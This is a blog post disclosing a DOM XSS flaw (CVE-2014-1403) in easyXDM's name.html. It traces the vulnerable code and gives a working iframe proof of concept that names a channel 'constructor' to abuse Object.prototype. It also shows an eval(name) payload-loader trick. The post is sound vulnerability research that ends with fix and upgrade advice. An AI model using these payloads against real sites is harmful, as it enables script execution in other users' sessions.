Monday, January 13, 2014

XSSing with Shakespeare: Name-calling easyXDM

tl;dr: window.name, DOM XSS & abusing Objects used as containers

What's in a name?

"What's in a name? That which we call a rose
By any other name would smell as sweet"
(Romeo & Juliet, Act II, Scene 2)

While Juliet probably was a pretty smart girl, this time she got it wrong. There is something special in a name. At least in window.name. For example, it can ignore Same Origin Policy restrictions. Documents from https://example.com and https://foo.bar are isolated from each other, but they can "speak" through window.name.

Since name is special for Same Origin Policy, it must have some evil usage, right? Right - the cutest one is that eval(name)is the shortest XSS payload loader so far:
  • create a window/frame
  • put the payload in it's name
  • just load http://vuln/?xss="><script>eval(name)</script>.
But that's old news (I think it was Gareth's trick, correct me if I'm wrong). This time I'll focus on exploiting software that uses window.name for legitimate purposes. A fun practical challenge (found by accident, srsly)!

Best men are moulded out of faults

"They say, best men are moulded out of faults;
And, for the most, become much more the better
For being a little bad;"
(Measure for Measure, Act V, Scene 1)

I have looked at EasyXDM in the past (part 1, part 2), so I won't bore your with introducing the project. This time I've found a DOM XSS vulnerability that allows the attacker to execute arbitrary code in context of any website using EasyXDM <= 2.4.18. It's fixed in 2.4.19 and has a CVE-2014-1403 identifier. Unlike many other DOM XSSes (with oh-so-challenging location.href=location.hash.slice(1) ), exploiting this was both fun & tricky, hence this blog post.

Every EasyXDM installation has a name.html document which assists in setting up the cross-document channels. This is the main part of the code that executes when you load the document:

if (location.hash) { // DOM XSS source
  if (location.hash.substring(1, 2) === "_") {
    var channel, url, hash = location.href.substring(location.href.indexOf("#") + 3), indexOf = hash.indexOf(",");
    if (indexOf == -1) {
      channel = hash;
    }
    else {
      channel = hash.substring(0, indexOf);
      url = decodeURIComponent(hash.substring(indexOf + 1));
    }
    switch (location.hash.substring(2, 3)) {
      case "2":
        // NameTransport local
        window.parent.parent.easyXDM.Fn.get(channel)(window.name);
        location.href = url + "#_4" + channel + ",";
        break;
      case "3":
        // NameTransport remote
        var guest = window.parent.frames["easyXDM_" + channel + "_provider"];
        if (!guest) {
          throw new Error("unable to reference window");
        }
        guest.easyXDM.Fn.get(channel)(window.name); // execute function, ignore results
        location.href = url + "#_4" + channel + ","; // DOM XSS sink
        break;
      case "4":
        // NameTransport idle
        var fn = window.parent.easyXDM.Fn.get(channel + "_load");
        if (fn) {
          fn();
        }
        break;
    }
  }
}

So we have a DOM XSS flaw - content in location hash can reach location.href assignment. After quick debugging (exercise left to the reader) we can see that the payload would look somewhat like this:
name.html#_3channel,javascript:alert(document.domain)//

Sea of troubles

"To be, or not to be, that is the question—
Whether 'tis Nobler in the mind to suffer
The Slings and Arrows of outrageous Fortune,
Or to take Arms against a Sea of troubles,
And by opposing end them"
(The Tragedy of Hamlet, Prince of Denmark, Act III, Scene 1)

It's not the end though. We still have some problems to overcome. Before location.href gets assigned two statements must execute without throwing errors:
var guest = window.parent.frames["easyXDM_" + channel + "_provider"];
guest.easyXDM.Fn.get(channel)(window.name);
First statement: So we need to frame name.html. No problem, it's supposed to be framed anyway (it's not a bug, it's a feature!). Then we need a separate provider frame, and this frame needs to be in-domain with name.html and have an easyXDM.Fn object available. Luckily, easyXDM project has a lot of .html documents with easyXDM libraries initialized. Quickly looking at examples/ subdirectory we can pick e.g. example/bridge.html. So, we need something like this:
<iframe src=http://domain/name.html#payload ></iframe>
  <iframe name="easyXDM_channel_provider" src="http://domain/example/bridge.html"> </iframe>
Second statement: guest.easyXDM.Fn.get(channel)(window.name). So, get() (loaded from bridge.html document) must return a function accepting a string. Let's look at what get() does:
var _map = {};

/**
 * @class easyXDM.Fn
 * This contains methods related to function handling, such as storing callbacks.
 * @singleton
 * @namespace easyXDM
 */
easyXDM.Fn = {

    /**
     * Retrieves the function referred to by the given name
     * @param {String} name The name of the function to retrieve
     * @param {Boolean} del If the function should be deleted after retrieval
     * @return {Function} The stored function
     * @namespace easyXDM.fn
     */
    get: function(name, del){
        var fn = _map[name];
        
        if (del) {
            delete _map[name];
        }
        return fn;
    }
};
Crap! It will return a function from some _map container, but that container is initially empty! So we're basically doing: {}[channel](window.name) - this will obviously fail quickly as {}[anything] returns undefined. And undefined is definitely not a Function. We can either try to find some other document or use more easyXDM magic that will fill the container before accessing it. Too much work. Let's use Javascript instead!

"I know a trick worth two of that"

(King Henry IV, Act II, Scene 1)

You see, empty object ({}) is not that empty. It inherits from it's prototype - Object.prototype:

JS prototypical inheritance rulez!
So, naming our channel 'constructor' will cause two above JS statements to correctly execute, followed by location.hash assignment - and that completes the exploit.
<iframe id=f></iframe>
  <iframe name="easyXDM_constructor_provider" 
src="http://easyxdm.net/current/example/bridge.html" 
onload="document.getElementById('f').src='http://easyxdm.net/current/name.html#_3constructor,javascript:alert(document.domain)//';">
</iframe>

All's well that ends well

"Of that and all the progress, more or less,
Resolvedly more leisure shall express:
All yet seems well; and if it end so meet,
The bitter past, more welcome is the sweet."
(All's well that ends well, Act V, Scene 3)

The vulnerability was quickly reported and fixed in version 2.4.19. Do upgrade! Programmers, remember - don't use {} as data constructor without proper key validation (see Object.hasOwnProperty()). And in your documents don't connect sources with sinks!

1 comment:

homakov said...

Great writeup. I often see cb[cb_name](anydata) e.g. in facebook debug.js but it's not really exploitable, as your bug is 60 percent in location.hash assignment, which we don't get usually. Sometimes I see any_object.any_method(not_controlled) which is also interesting case